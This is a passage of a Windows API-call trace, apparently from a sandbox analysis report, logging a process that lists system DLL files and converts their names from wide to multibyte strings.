ftLastAccessTime.dwLowDateTime=0x2d9fe1dc, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x2d9fd330, ftLastWriteTime.dwHighDateTime=0x1ca040f, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x25e300, dwReserved1=0x0, cFileName="api-ms-win-core-xstate-l1-1-0.dll", cAlternateFileName="")) returned 1 [0227.240] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x80) returned 0x18e8c8 [0227.240] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-XSTATE-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0227.240] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-XSTATE-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x18c288, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-XSTATE-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 33 [0227.240] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-XSTATE-L2-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0227.240] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-XSTATE-L2-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x18c120, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-XSTATE-L2-1-0.DLL", lpUsedDefaultChar=0x0) returned 33 [0227.240] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-CONIO-L1-1-0.DLL", cchWideChar=31, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 31 [0227.240] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-CONIO-L1-1-0.DLL", cchWideChar=31, lpMultiByteStr=0x18c288, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CRT-CONIO-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 31 [0227.240] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-CONVERT-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0227.240] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-CONVERT-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x18c120, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CRT-CONVERT-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 33 [0227.240] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-ENVIRONMENT-L1-1-0.DLL", cchWideChar=37, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 37 [0227.240] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-ENVIRONMENT-L1-1-0.DLL", cchWideChar=37, lpMultiByteStr=0x18c288, cbMultiByte=37, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CRT-ENVIRONMENT-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 37 [0227.240] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-FILESYSTEM-L1-1-0.DLL", cchWideChar=36, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 36 [0227.240] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-FILESYSTEM-L1-1-0.DLL", cchWideChar=36, lpMultiByteStr=0x18c120, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CRT-FILESYSTEM-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 36 [0227.240] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-HEAP-L1-1-0.DLL", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0227.241] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-HEAP-L1-1-0.DLL", cchWideChar=30, lpMultiByteStr=0x18c288, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CRT-HEAP-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 30 [0227.241] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-LOCALE-L1-1-0.DLL", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0227.241] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-LOCALE-L1-1-0.DLL", cchWideChar=32, lpMultiByteStr=0x18c120, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CRT-LOCALE-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 32 [0227.241] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-MATH-L1-1-0.DLL", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0227.241] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-MATH-L1-1-0.DLL", cchWideChar=30, lpMultiByteStr=0x18c288, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CRT-MATH-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 30 [0227.241] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-MULTIBYTE-L1-1-0.DLL", cchWideChar=35, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 35 [0227.241] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-MULTIBYTE-L1-1-0.DLL", cchWideChar=35, lpMultiByteStr=0x18c120, cbMultiByte=35, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CRT-MULTIBYTE-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 35 [0227.241] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-PRIVATE-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0227.241] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-PRIVATE-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x18c288, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CRT-PRIVATE-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 33 [0227.241] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-PROCESS-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0227.241] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-PROCESS-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x18c120, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CRT-PROCESS-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 33 [0227.241] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-RUNTIME-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0227.241] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-RUNTIME-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x18c288, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CRT-RUNTIME-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 33 [0227.241] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-STDIO-L1-1-0.DLL", cchWideChar=31, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 31 [0227.259] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-STDIO-L1-1-0.DLL", cchWideChar=31, lpMultiByteStr=0x18c120, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CRT-STDIO-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 31 [0227.260] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-STRING-L1-1-0.DLL", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0227.260] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-STRING-L1-1-0.DLL", cchWideChar=32, lpMultiByteStr=0x18c288, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CRT-STRING-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 32 [0227.260] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-TIME-L1-1-0.DLL", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0227.260] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-TIME-L1-1-0.DLL", cchWideChar=30, lpMultiByteStr=0x18c120, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CRT-TIME-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 30 [0227.260] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-UTILITY-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0227.260] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-UTILITY-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x18c288, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CRT-UTILITY-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 33 [0227.260] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-EVENTING-PROVIDER-L1-1-0.DLL", cchWideChar=39, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 39 [0227.260] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-EVENTING-PROVIDER-L1-1-0.DLL", cchWideChar=39, lpMultiByteStr=0x18c120, cbMultiByte=39, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-EVENTING-PROVIDER-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 39 [0227.260] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-SECURITY-BASE-L1-1-0.DLL", cchWideChar=35, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 35 [0227.260] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-SECURITY-BASE-L1-1-0.DLL", cchWideChar=35, lpMultiByteStr=0x18c288, cbMultiByte=35, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-SECURITY-BASE-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 35 [0227.260] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-SECURITY-LSALOOKUP-L1-1-0.DLL", cchWideChar=40, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0227.260] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-SECURITY-LSALOOKUP-L1-1-0.DLL", cchWideChar=40, lpMultiByteStr=0x18c120, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-SECURITY-LSALOOKUP-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 40 [0227.260] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-SECURITY-SDDL-L1-1-0.DLL", cchWideChar=35, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 35 [0227.260] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-SECURITY-SDDL-L1-1-0.DLL", cchWideChar=35, lpMultiByteStr=0x18c288, cbMultiByte=35, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-SECURITY-SDDL-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 35 [0227.260] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-SERVICE-CORE-L1-1-0.DLL", cchWideChar=34, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 34 [0227.260] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-SERVICE-CORE-L1-1-0.DLL", cchWideChar=34, lpMultiByteStr=0x18c120, cbMultiByte=34, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-SERVICE-CORE-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 34 [0227.260] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-SERVICE-MANAGEMENT-L1-1-0.DLL", cchWideChar=40, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0227.260] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-SERVICE-MANAGEMENT-L1-1-0.DLL", cchWideChar=40, lpMultiByteStr=0x18c288, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-SERVICE-MANAGEMENT-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 40 [0227.260] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-SERVICE-MANAGEMENT-L2-1-0.DLL", cchWideChar=40, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0227.261] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-SERVICE-MANAGEMENT-L2-1-0.DLL", cchWideChar=40, lpMultiByteStr=0x18c120, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-SERVICE-MANAGEMENT-L2-1-0.DLL", lpUsedDefaultChar=0x0) returned 40 [0227.261] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-SERVICE-WINSVC-L1-1-0.DLL", cchWideChar=36, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 36 [0227.261] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-SERVICE-WINSVC-L1-1-0.DLL", cchWideChar=36, lpMultiByteStr=0x18c288, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-SERVICE-WINSVC-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 36 [0227.261] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APILOGEN.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0227.261] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APILOGEN.DLL", cchWideChar=12, lpMultiByteStr=0x18c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="APILOGEN.DLL", lpUsedDefaultChar=0x0) returned 12 [0227.261] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APIRCL.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0227.261] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APIRCL.DLL", cchWideChar=10, lpMultiByteStr=0x18c288, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="APIRCL.DLL", lpUsedDefaultChar=0x0) returned 10 [0227.261] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APISETSCHEMA.DLL", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0227.261] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APISETSCHEMA.DLL", cchWideChar=16, lpMultiByteStr=0x18c120, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="APISETSCHEMA.DLL", lpUsedDefaultChar=0x0) returned 16 [0227.261] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APPHELP.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0227.261] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APPHELP.DLL", cchWideChar=11, lpMultiByteStr=0x18c288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="APPHELP.DLL", lpUsedDefaultChar=0x0) returned 11 [0227.261] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APPHLPDM.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0227.261] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APPHLPDM.DLL", cchWideChar=12, lpMultiByteStr=0x18c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="APPHLPDM.DLL", lpUsedDefaultChar=0x0) returned 12 [0227.261] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APPIDAPI.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0227.261] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APPIDAPI.DLL", cchWideChar=12, lpMultiByteStr=0x18c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="APPIDAPI.DLL", lpUsedDefaultChar=0x0) returned 12 [0227.261] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APPIDPOLICYENGINEAPI.DLL", cchWideChar=24, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0227.261] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APPIDPOLICYENGINEAPI.DLL", cchWideChar=24, lpMultiByteStr=0x18c120, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="APPIDPOLICYENGINEAPI.DLL", lpUsedDefaultChar=0x0) returned 24 [0227.261] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APPMGMTS.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0227.261] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APPMGMTS.DLL", cchWideChar=12, lpMultiByteStr=0x18c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="APPMGMTS.DLL", lpUsedDefaultChar=0x0) returned 12 [0227.262] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APPMGR.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0227.262] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APPMGR.DLL", cchWideChar=10, lpMultiByteStr=0x18c120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="APPMGR.DLL", lpUsedDefaultChar=0x0) returned 10 [0227.262] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APSS.DLL", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0227.262] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APSS.DLL", cchWideChar=8, lpMultiByteStr=0x18c288, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="APSS.DLL", lpUsedDefaultChar=0x0) returned 8 [0227.262] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ASFERROR.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0227.262] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ASFERROR.DLL", cchWideChar=12, lpMultiByteStr=0x18c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ASFERROR.DLL", lpUsedDefaultChar=0x0) returned 12 [0227.262] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ASPNET_COUNTERS.DLL", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0227.262] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ASPNET_COUNTERS.DLL", cchWideChar=19, lpMultiByteStr=0x18c288, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ASPNET_COUNTERS.DLL", lpUsedDefaultChar=0x0) returned 19 [0227.262] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ASYCFILT.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0227.262] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ASYCFILT.DLL", cchWideChar=12, lpMultiByteStr=0x18c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ASYCFILT.DLL", lpUsedDefaultChar=0x0) returned 12 [0227.262] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ATL.DLL", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0227.262] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ATL.DLL", cchWideChar=7, lpMultiByteStr=0x18c288, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ATL.DLL", lpUsedDefaultChar=0x0) returned 7 [0227.262] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ATL100.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0227.262] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ATL100.DLL", cchWideChar=10, lpMultiByteStr=0x18c120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ATL100.DLL", lpUsedDefaultChar=0x0) returned 10 [0227.262] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ATL110.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0227.262] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, 